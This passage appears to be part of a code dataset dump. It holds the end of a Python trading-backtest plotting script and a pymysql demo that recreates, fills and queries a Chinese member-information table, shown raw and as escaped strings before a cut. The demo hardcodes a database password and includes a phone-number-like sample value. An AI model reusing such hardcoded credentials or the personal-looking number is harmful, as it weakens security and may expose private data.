avg_gain = 'NA'\n else:\n avg_gain = total_gain / ngain\n if ( nloss == 0 ):\n avg_loss = 'NA'\n else:\n avg_loss = total_loss / nloss\n print ntrade, ' ', ngain, ' ', nloss, ' ', avg_gain, ' ', avg_loss, total, ref_total, (total-ref_total)/ref_total*100\n\n#figure()\nx = arange(1, time_range + 1, 1)\nsubplot(nsubplots,1,ibalance)\nxlim([1,time_range])\nplot( x, total_vector )\n#title(name.upper() + ' Balance and Gain/Loss in the past ' + str(time_range) + ' ' + periodText, fontsize = 18 )\nxindex = []\nxdate = []\nxinterval = 5\nfor i in range( 0, xinterval ):\n xindex.append( int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1 )\n# print int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) )\n xdate.append( str( date200[dmax - 1 - time_range + int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1] ) )\nxindex.append( time_range )\nxdate.append( str( date200[dmax - 1] ) )\nxticks(xindex, xdate, fontsize=12)\nylabel('Balance (USD)', fontsize=16)\ngrid(True)\nsubplot(nsubplots,1,igain)\nxlim([1,time_range])\nvlines( x, [0], gain_result_vector, lw=4 )\naxhline(0, color='black')\nxticks(xindex, xdate, fontsize=12)\nxlabel('Date', fontsize=16)\nylabel('Gain (USD)', fontsize=16)\ngrid(True)\n\n#figure()\n#x = arange(1, time_range + 1, 1)\n#subplot(nsubplots,1,3)\n#xlim([1,time_range])\n#plot( x, total_vector )\n#title(name.upper() + ' Balance and Gain/Loss in the past ' + str(time_range) + ' ' + periodText, fontsize = 18 )\n#xindex = []\n#xdate = []\n#xinterval = 5\n#for i in range( 0, xinterval ):\n# xindex.append( int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1 )\n# print int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) )\n# xdate.append( str( date200[dmax - 1 - time_range + int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1] ) )\n#xindex.append( time_range )\n#xdate.append( str( date200[dmax - 1] ) )\n#xticks(xindex, xdate, fontsize=12)\n#ylabel('Balance (USD)', fontsize=16)\n#grid(True)\n#subplot(nsubplots,1,4)\n#xlim([1,time_range])\n#vlines( x, [0], gain_result_vector, lw=4 )\n#axhline(0, color='black')\n#xticks(xindex, xdate, fontsize=12)\n#xlabel('Date', fontsize=16)\n#ylabel('Gain (USD)', fontsize=16)\n#grid(True)\nsavefig( './figures/' + name.upper() + '_' + periodText + '.pdf' )\n" ]
true
434
75133dd924f8f3f028075c5d2109bb79ddc7fe87
import pymysql def testeSelect(db): #创建查询游标 cur1 = db.cursor() # 使用 execute() 方法执行 SQL 查询 cur1.execute("SELECT VERSION()") # 使用 fetchone() 方法获取单条数据. data = cur1.fetchone() print(dir(data)) print ("cur1 : %s " % cur1) print ("Database version : %s " % data) def dropTable(db): #创建查询游标 cur1 = db.cursor() cur1.execute("drop table if exists python_demo") print('dropTable',cur1) def createTable(db): #创建查询游标 cur1 = db.cursor() sql = ''' CREATE TABLE IF NOT EXISTS python_demo ( MEMBER_ID INT(20) NOT NULL AUTO_INCREMENT COMMENT '会员ID', MEMBER_CODE VARCHAR(20) NOT NULL COMMENT '会员代码', MEMBER_NAME VARCHAR(128) NOT NULL COMMENT '公司中文名称', MEMBER_NAME_SHORT VARCHAR(128) NULL DEFAULT NULL COMMENT '公司简称', COMPANY_NAME_EN VARCHAR(128) NULL DEFAULT NULL COMMENT '公司英文名称', REG_PLACE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司注册地址', REG_ADDRESS VARCHAR(128) NULL DEFAULT NULL COMMENT '公司注册地址', ENT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司性质', REGCAPITAL DOUBLE(12,2) NULL DEFAULT NULL COMMENT '注册资本', REG_CURRENCY VARCHAR(20) NULL DEFAULT NULL COMMENT '注册资本币种', JUDICIAL_PERSON VARCHAR(32) NULL DEFAULT NULL COMMENT '法人名称', BUSINESS_SCOPE VARCHAR(128) NULL DEFAULT NULL COMMENT '公司经营范围', COM_TEL VARCHAR(20) NULL DEFAULT NULL COMMENT '公司电话', COM_FAX VARCHAR(64) NULL DEFAULT NULL COMMENT '公司传真', PERSON_INCHARGE VARCHAR(64) NULL DEFAULT NULL COMMENT '公司负责人', ZIP_CODE VARCHAR(6) NULL DEFAULT NULL COMMENT '邮编', CON_NAME VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人姓名', CON_MOBILE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人手机', CON_EMAIL VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人邮箱', CON_FAX VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人传真', CON_CERT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件类型', CON_CERT_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件号', CON_CERT_DATE DATE NULL DEFAULT NULL COMMENT '联系人证件失效时间', CON_CER1_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证正面ID', CON_CER2_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证反面ID', THERECER_INTGRATED VARCHAR(20) NULL DEFAULT NULL COMMENT '三证合一标志', BIZLIC_ID INT(20) NULL DEFAULT NULL COMMENT '营业执照ID', BIZLIC_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '营业执照代码', BIZLIC_DATE DATE NULL DEFAULT NULL COMMENT '营业执照失效时间', TAXREGISTER_ID INT(20) NULL DEFAULT NULL COMMENT '税务等级证书ID', TAXREGISTER_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '税务登记号', TAXREGISTER_DATE DATE NULL DEFAULT NULL COMMENT '税务登记失效时间', ORGREG_ID INT(20) NULL DEFAULT NULL COMMENT '组织机构代码证ID', ORGREG_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '组织机构代码', ORGREG_DATE DATE NULL DEFAULT NULL COMMENT '组织机构失效时间', BANK_ID INT(20) NULL DEFAULT NULL COMMENT '银行开户许可证ID', BANK_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '开户银行类别', BANK_DEPOSIT VARCHAR(128) NULL DEFAULT NULL COMMENT '开户银行', BANK_DEPOSIT_CODE VARCHAR(32) NULL DEFAULT NULL COMMENT '开户银行编码', BANK_ACCOUNTNO VARCHAR(32) NULL DEFAULT NULL COMMENT '银行账号', BANK_HOUSEHOULD VARCHAR(32) NULL DEFAULT NULL COMMENT '银行户主', INVOICE_TITLE VARCHAR(128) NULL DEFAULT NULL COMMENT '开票台头', INVOICE_ADDRESS VARCHAR(20) NULL DEFAULT NULL COMMENT '开票地址', INVOICE_ADDRESS_DT VARCHAR(128) NULL DEFAULT NULL COMMENT '开票详细地址', APPLY_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '申请审核机构', BUYER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '买家标识', SELLER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家标识', THIRD_PART_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '第三方标识', MAIN_USER_ID INT(20) NULL DEFAULT NULL COMMENT '主账号ID', MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM主数据CODE', ERP_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'ERP会员CODE', REG_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '注册类型', STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '会员状态', AUDITOR VARCHAR(128) NULL DEFAULT NULL COMMENT '审核人', AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT '审核时间', AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT '审核结果', AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT '审核意见', MDM_AUDITOR VARCHAR(32) NULL DEFAULT NULL COMMENT 'MDM审核人', MDM_AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT 'MDM审核时间', MDM_AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT 'MDM审核意见', MDM_AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM审核结果', MEMBER_CHG_ID INT(20) NULL DEFAULT NULL COMMENT '变更ID', CHANGE_STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '变更状态', ALIVE_FLAG VARCHAR(1) NOT NULL COMMENT '当前有效状态', LANG_VER VARCHAR(10) NULL DEFAULT NULL COMMENT '语言类型', CREATE_USER INT(20) NOT NULL COMMENT '创建者', CREATE_DATE DATETIME NOT NULL COMMENT '创建时间', UPDATE_USER INT(20) NULL DEFAULT NULL COMMENT '修改者', UPDATE_DATE DATETIME NULL DEFAULT NULL COMMENT '修改时间', DELETE_USER INT(20) NULL DEFAULT NULL COMMENT '删除者', DELETE_DATE DATETIME NULL DEFAULT NULL COMMENT '删除时间', BUYER_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '买家类型(01:个人买家;02:公司买家)', AUDIT_OPTION_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '审核身份标识(01:平台;02:卖家)', AUDIT_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '审核卖家ID(当审核身份标识为卖家审核时,审核的卖家ID)', SELLER_MDM VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统', SELLER_SAP VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家SAP系统', SELLER_MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统数据CODE', IS_PLAT_BLACK VARCHAR(2) NULL DEFAULT NULL COMMENT '黑名单状态(41:是;0:否)', INVOCIE_ADDRESS_LEFT3 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-省', INVOCIE_ADDRESS_RIGHT5 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-市', PRIMARY KEY (MEMBER_ID) ) COMMENT='会员信息表' COLLATE='utf8_general_ci' ENGINE=InnoDB ''' cur1.execute(sql) print('createTabl',cur1) def selectTable(db): #创建查询游标 cur1 = db.cursor() cur1.execute("select member_name,MEMBER_CODE,member_id from python_demo limit 10") # 使用 fetchall() 接收全部的返回结果行 data = cur1.fetchall() for index,item in enumerate(data): print(index,sep=' ', end=' ') for index2,item2 in enumerate(item): print(item2,sep=' ', end=' ') print("") def insertTable(db): #创建查询游标 cur1 = db.cursor() cur1.execute("INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)") # 使用 fetchall() 接收全部的返回结果行 #data = cur1.rowcount() #print('insertTable',data) # 打开数据库连接 db = pymysql.connect(host='127.0.0.1',user='pu3147', password='1qaz@WSX',database='demo',port=3306,charset='UTF8') dropTable(db) createTable(db) insertTable(db) insertTable(db) insertTable(db) insertTable(db) insertTable(db) testeSelect(db) selectTable(db) # 关闭数据库连接 db.close()
[ "import pymysql\n\n\n\ndef testeSelect(db):\n\t#创建查询游标\n\tcur1 = db.cursor()\n\n\t# 使用 execute() 方法执行 SQL 查询 \n\tcur1.execute(\"SELECT VERSION()\")\n\t \n\t# 使用 fetchone() 方法获取单条数据.\n\tdata = cur1.fetchone()\n\tprint(dir(data))\n\tprint (\"cur1 : %s \" % cur1) \n\tprint (\"Database version : %s \" % data)\n\ndef dropTable(db):\n\t#创建查询游标\n\tcur1 = db.cursor()\n\n\tcur1.execute(\"drop table if exists python_demo\")\n\tprint('dropTable',cur1)\n\t \n\ndef createTable(db):\n\t#创建查询游标\n\tcur1 = db.cursor()\n\n\tsql = '''\n\t\t\tCREATE TABLE IF NOT EXISTS python_demo (\n\t\t\t\tMEMBER_ID INT(20) NOT NULL AUTO_INCREMENT COMMENT '会员ID',\n\t\t\t\tMEMBER_CODE VARCHAR(20) NOT NULL COMMENT '会员代码',\n\t\t\t\tMEMBER_NAME VARCHAR(128) NOT NULL COMMENT '公司中文名称',\n\t\t\t\tMEMBER_NAME_SHORT VARCHAR(128) NULL DEFAULT NULL COMMENT '公司简称',\n\t\t\t\tCOMPANY_NAME_EN VARCHAR(128) NULL DEFAULT NULL COMMENT '公司英文名称',\n\t\t\t\tREG_PLACE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tREG_ADDRESS VARCHAR(128) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tENT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司性质',\n\t\t\t\tREGCAPITAL DOUBLE(12,2) NULL DEFAULT NULL COMMENT '注册资本',\n\t\t\t\tREG_CURRENCY VARCHAR(20) NULL DEFAULT NULL COMMENT '注册资本币种',\n\t\t\t\tJUDICIAL_PERSON VARCHAR(32) NULL DEFAULT NULL COMMENT '法人名称',\n\t\t\t\tBUSINESS_SCOPE VARCHAR(128) NULL DEFAULT NULL COMMENT '公司经营范围',\n\t\t\t\tCOM_TEL VARCHAR(20) NULL DEFAULT NULL COMMENT '公司电话',\n\t\t\t\tCOM_FAX VARCHAR(64) NULL DEFAULT NULL COMMENT '公司传真',\n\t\t\t\tPERSON_INCHARGE VARCHAR(64) NULL DEFAULT NULL COMMENT '公司负责人',\n\t\t\t\tZIP_CODE VARCHAR(6) NULL DEFAULT NULL COMMENT '邮编',\n\t\t\t\tCON_NAME VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人姓名',\n\t\t\t\tCON_MOBILE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人手机',\n\t\t\t\tCON_EMAIL VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人邮箱',\n\t\t\t\tCON_FAX VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人传真',\n\t\t\t\tCON_CERT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件类型',\n\t\t\t\tCON_CERT_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件号',\n\t\t\t\tCON_CERT_DATE DATE NULL DEFAULT NULL COMMENT '联系人证件失效时间',\n\t\t\t\tCON_CER1_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证正面ID',\n\t\t\t\tCON_CER2_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证反面ID',\n\t\t\t\tTHERECER_INTGRATED VARCHAR(20) NULL DEFAULT NULL COMMENT '三证合一标志',\n\t\t\t\tBIZLIC_ID INT(20) NULL DEFAULT NULL COMMENT '营业执照ID',\n\t\t\t\tBIZLIC_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '营业执照代码',\n\t\t\t\tBIZLIC_DATE DATE NULL DEFAULT NULL COMMENT '营业执照失效时间',\n\t\t\t\tTAXREGISTER_ID INT(20) NULL DEFAULT NULL COMMENT '税务等级证书ID',\n\t\t\t\tTAXREGISTER_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '税务登记号',\n\t\t\t\tTAXREGISTER_DATE DATE NULL DEFAULT NULL COMMENT '税务登记失效时间',\n\t\t\t\tORGREG_ID INT(20) NULL DEFAULT NULL COMMENT '组织机构代码证ID',\n\t\t\t\tORGREG_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '组织机构代码',\n\t\t\t\tORGREG_DATE DATE NULL DEFAULT NULL COMMENT '组织机构失效时间',\n\t\t\t\tBANK_ID INT(20) NULL DEFAULT NULL COMMENT '银行开户许可证ID',\n\t\t\t\tBANK_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '开户银行类别',\n\t\t\t\tBANK_DEPOSIT VARCHAR(128) NULL DEFAULT NULL COMMENT '开户银行',\n\t\t\t\tBANK_DEPOSIT_CODE VARCHAR(32) NULL DEFAULT NULL COMMENT '开户银行编码',\n\t\t\t\tBANK_ACCOUNTNO VARCHAR(32) NULL DEFAULT NULL COMMENT '银行账号',\n\t\t\t\tBANK_HOUSEHOULD VARCHAR(32) NULL DEFAULT NULL COMMENT '银行户主',\n\t\t\t\tINVOICE_TITLE VARCHAR(128) NULL DEFAULT NULL COMMENT '开票台头',\n\t\t\t\tINVOICE_ADDRESS VARCHAR(20) NULL DEFAULT NULL COMMENT '开票地址',\n\t\t\t\tINVOICE_ADDRESS_DT VARCHAR(128) NULL DEFAULT NULL COMMENT '开票详细地址',\n\t\t\t\tAPPLY_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '申请审核机构',\n\t\t\t\tBUYER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '买家标识',\n\t\t\t\tSELLER_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家标识',\n\t\t\t\tTHIRD_PART_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '第三方标识',\n\t\t\t\tMAIN_USER_ID INT(20) NULL DEFAULT NULL COMMENT '主账号ID',\n\t\t\t\tMDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM主数据CODE',\n\t\t\t\tERP_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT 'ERP会员CODE',\n\t\t\t\tREG_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '注册类型',\n\t\t\t\tSTATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '会员状态',\n\t\t\t\tAUDITOR VARCHAR(128) NULL DEFAULT NULL COMMENT '审核人',\n\t\t\t\tAUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT '审核时间',\n\t\t\t\tAUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT '审核结果',\n\t\t\t\tAUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT '审核意见',\n\t\t\t\tMDM_AUDITOR VARCHAR(32) NULL DEFAULT NULL COMMENT 'MDM审核人',\n\t\t\t\tMDM_AUDIT_DATE DATETIME NULL DEFAULT NULL COMMENT 'MDM审核时间',\n\t\t\t\tMDM_AUDIT_OPINION VARCHAR(128) NULL DEFAULT NULL COMMENT 'MDM审核意见',\n\t\t\t\tMDM_AUDIT_RESULT VARCHAR(20) NULL DEFAULT NULL COMMENT 'MDM审核结果',\n\t\t\t\tMEMBER_CHG_ID INT(20) NULL DEFAULT NULL COMMENT '变更ID',\n\t\t\t\tCHANGE_STATUS VARCHAR(20) NULL DEFAULT NULL COMMENT '变更状态',\n\t\t\t\tALIVE_FLAG VARCHAR(1) NOT NULL COMMENT '当前有效状态',\n\t\t\t\tLANG_VER VARCHAR(10) NULL DEFAULT NULL COMMENT '语言类型',\n\t\t\t\tCREATE_USER INT(20) NOT NULL COMMENT '创建者',\n\t\t\t\tCREATE_DATE DATETIME NOT NULL COMMENT '创建时间',\n\t\t\t\tUPDATE_USER INT(20) NULL DEFAULT NULL COMMENT '修改者',\n\t\t\t\tUPDATE_DATE DATETIME NULL DEFAULT NULL COMMENT '修改时间',\n\t\t\t\tDELETE_USER INT(20) NULL DEFAULT NULL COMMENT '删除者',\n\t\t\t\tDELETE_DATE DATETIME NULL DEFAULT NULL COMMENT '删除时间',\n\t\t\t\tBUYER_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '买家类型(01:个人买家;02:公司买家)',\n\t\t\t\tAUDIT_OPTION_FLAG VARCHAR(20) NULL DEFAULT NULL COMMENT '审核身份标识(01:平台;02:卖家)',\n\t\t\t\tAUDIT_SELLER_ID INT(20) NULL DEFAULT NULL COMMENT '审核卖家ID(当审核身份标识为卖家审核时,审核的卖家ID)',\n\t\t\t\tSELLER_MDM VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统',\n\t\t\t\tSELLER_SAP VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家SAP系统',\n\t\t\t\tSELLER_MDM_DATA_CODE VARCHAR(20) NULL DEFAULT NULL COMMENT '卖家MDM系统数据CODE',\n\t\t\t\tIS_PLAT_BLACK VARCHAR(2) NULL DEFAULT NULL COMMENT '黑名单状态(41:是;0:否)',\n\t\t\t\tINVOCIE_ADDRESS_LEFT3 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-省',\n\t\t\t\tINVOCIE_ADDRESS_RIGHT5 VARCHAR(10) NULL DEFAULT NULL COMMENT '用户所属区域-市',\n\t\t\t\tPRIMARY KEY (MEMBER_ID)\n\t\t\t)\n\t\t\tCOMMENT='会员信息表'\n\t\t\tCOLLATE='utf8_general_ci'\n\t\t\tENGINE=InnoDB\n\t'''\n\n\tcur1.execute(sql)\n\t\n\tprint('createTabl',cur1)\n\ndef selectTable(db):\n\t#创建查询游标\n\tcur1 = db.cursor()\n\n\tcur1.execute(\"select member_name,MEMBER_CODE,member_id from python_demo limit 10\")\n\n\t# 使用 fetchall() 接收全部的返回结果行\n\tdata = cur1.fetchall()\n\tfor index,item in enumerate(data):\n\t\tprint(index,sep=' ', end=' ')\n\t\tfor index2,item2 in enumerate(item):\n\t\t\tprint(item2,sep=' ', end=' ')\n\t\tprint(\"\")\n\ndef insertTable(db):\n\t#创建查询游标\n\tcur1 = db.cursor()\n\n\tcur1.execute(\"INSERT INTO python_demo (MEMBER_CODE, MEMBER_NAME, MEMBER_NAME_SHORT, COMPANY_NAME_EN, REG_PLACE, REG_ADDRESS, ENT_TYPE, REGCAPITAL, REG_CURRENCY, JUDICIAL_PERSON, BUSINESS_SCOPE, COM_TEL, COM_FAX, PERSON_INCHARGE, ZIP_CODE, CON_NAME, CON_MOBILE, CON_EMAIL, CON_FAX, CON_CERT_TYPE, CON_CERT_NO, CON_CERT_DATE, CON_CER1_ID, CON_CER2_ID, THERECER_INTGRATED, BIZLIC_ID, BIZLIC_NO, BIZLIC_DATE, TAXREGISTER_ID, TAXREGISTER_NO, TAXREGISTER_DATE, ORGREG_ID, ORGREG_NO, ORGREG_DATE, BANK_ID, BANK_TYPE, BANK_DEPOSIT, BANK_DEPOSIT_CODE, BANK_ACCOUNTNO, BANK_HOUSEHOULD, INVOICE_TITLE, INVOICE_ADDRESS, INVOICE_ADDRESS_DT, APPLY_SELLER_ID, BUYER_FLAG, SELLER_FLAG, THIRD_PART_FLAG, MAIN_USER_ID, MDM_DATA_CODE, ERP_DATA_CODE, REG_TYPE, STATUS, AUDITOR, AUDIT_DATE, AUDIT_RESULT, AUDIT_OPINION, MDM_AUDITOR, MDM_AUDIT_DATE, MDM_AUDIT_OPINION, MDM_AUDIT_RESULT, MEMBER_CHG_ID, CHANGE_STATUS, ALIVE_FLAG, LANG_VER, CREATE_USER, CREATE_DATE, UPDATE_USER, UPDATE_DATE, DELETE_USER, DELETE_DATE, BUYER_TYPE, AUDIT_OPTION_FLAG, AUDIT_SELLER_ID, SELLER_MDM, SELLER_SAP, SELLER_MDM_DATA_CODE, IS_PLAT_BLACK, INVOCIE_ADDRESS_LEFT3, INVOCIE_ADDRESS_RIGHT5) VALUES ('A000001', '中国有限公司', '中国有限公司', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'xinming', '15136378930', NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '0', '1', '0', 2, 'M0000001', '00M0000001', '10', '01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 2, '01', '1', 'ZH-CN', 179143, '2016-05-28 12:16:23', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\")\n\n\t# 使用 fetchall() 接收全部的返回结果行\n\t#data = cur1.rowcount()\n\n\t#print('insertTable',data)\n\n# 打开数据库连接\ndb = pymysql.connect(host='127.0.0.1',user='pu3147',\n\tpassword='1qaz@WSX',database='demo',port=3306,charset='UTF8')\n\n\ndropTable(db)\ncreateTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ninsertTable(db)\ntesteSelect(db)\nselectTable(db)\n\n# 关闭数据库连接\ndb.close()\n\n\n\n\n\n\n\n\n\n\n", "import pymysql\n\n\ndef testeSelect(db):\n cur1 = db.cursor()\n cur1.execute('SELECT VERSION()')\n data = cur1.fetchone()\n print(dir(data))\n print('cur1 : %s ' % cur1)\n print('Database version : %s ' % data)\n\n\ndef dropTable(db):\n cur1 = db.cursor()\n cur1.execute('drop table if exists python_demo')\n print('dropTable', cur1)\n\n\ndef createTable(db):\n cur1 = db.cursor()\n sql = \"\"\"\n\t\t\tCREATE TABLE IF NOT EXISTS python_demo (\n\t\t\t\tMEMBER_ID INT(20) NOT NULL AUTO_INCREMENT COMMENT '会员ID',\n\t\t\t\tMEMBER_CODE VARCHAR(20) NOT NULL COMMENT '会员代码',\n\t\t\t\tMEMBER_NAME VARCHAR(128) NOT NULL COMMENT '公司中文名称',\n\t\t\t\tMEMBER_NAME_SHORT VARCHAR(128) NULL DEFAULT NULL COMMENT '公司简称',\n\t\t\t\tCOMPANY_NAME_EN VARCHAR(128) NULL DEFAULT NULL COMMENT '公司英文名称',\n\t\t\t\tREG_PLACE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tREG_ADDRESS VARCHAR(128) NULL DEFAULT NULL COMMENT '公司注册地址',\n\t\t\t\tENT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '公司性质',\n\t\t\t\tREGCAPITAL DOUBLE(12,2) NULL DEFAULT NULL COMMENT '注册资本',\n\t\t\t\tREG_CURRENCY VARCHAR(20) NULL DEFAULT NULL COMMENT '注册资本币种',\n\t\t\t\tJUDICIAL_PERSON VARCHAR(32) NULL DEFAULT NULL COMMENT '法人名称',\n\t\t\t\tBUSINESS_SCOPE VARCHAR(128) NULL DEFAULT NULL COMMENT '公司经营范围',\n\t\t\t\tCOM_TEL VARCHAR(20) NULL DEFAULT NULL COMMENT '公司电话',\n\t\t\t\tCOM_FAX VARCHAR(64) NULL DEFAULT NULL COMMENT '公司传真',\n\t\t\t\tPERSON_INCHARGE VARCHAR(64) NULL DEFAULT NULL COMMENT '公司负责人',\n\t\t\t\tZIP_CODE VARCHAR(6) NULL DEFAULT NULL COMMENT '邮编',\n\t\t\t\tCON_NAME VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人姓名',\n\t\t\t\tCON_MOBILE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人手机',\n\t\t\t\tCON_EMAIL VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人邮箱',\n\t\t\t\tCON_FAX VARCHAR(32) NULL DEFAULT NULL COMMENT '联系人传真',\n\t\t\t\tCON_CERT_TYPE VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件类型',\n\t\t\t\tCON_CERT_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '联系人证件号',\n\t\t\t\tCON_CERT_DATE DATE NULL DEFAULT NULL COMMENT '联系人证件失效时间',\n\t\t\t\tCON_CER1_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证正面ID',\n\t\t\t\tCON_CER2_ID INT(20) NULL DEFAULT NULL COMMENT '联系人身份证反面ID',\n\t\t\t\tTHERECER_INTGRATED VARCHAR(20) NULL DEFAULT NULL COMMENT '三证合一标志',\n\t\t\t\tBIZLIC_ID INT(20) NULL DEFAULT NULL COMMENT '营业执照ID',\n\t\t\t\tBIZLIC_NO VARCHAR(20) NULL DEFAULT NULL COMMENT '营业执照代码',\n\t\t\t\tBIZLIC_DATE DATE NULL DEFAULT NULL COMMENT '营业执照失效时间',\n\t\t\t\tTAXREGISTER_ID INT(20) NULL 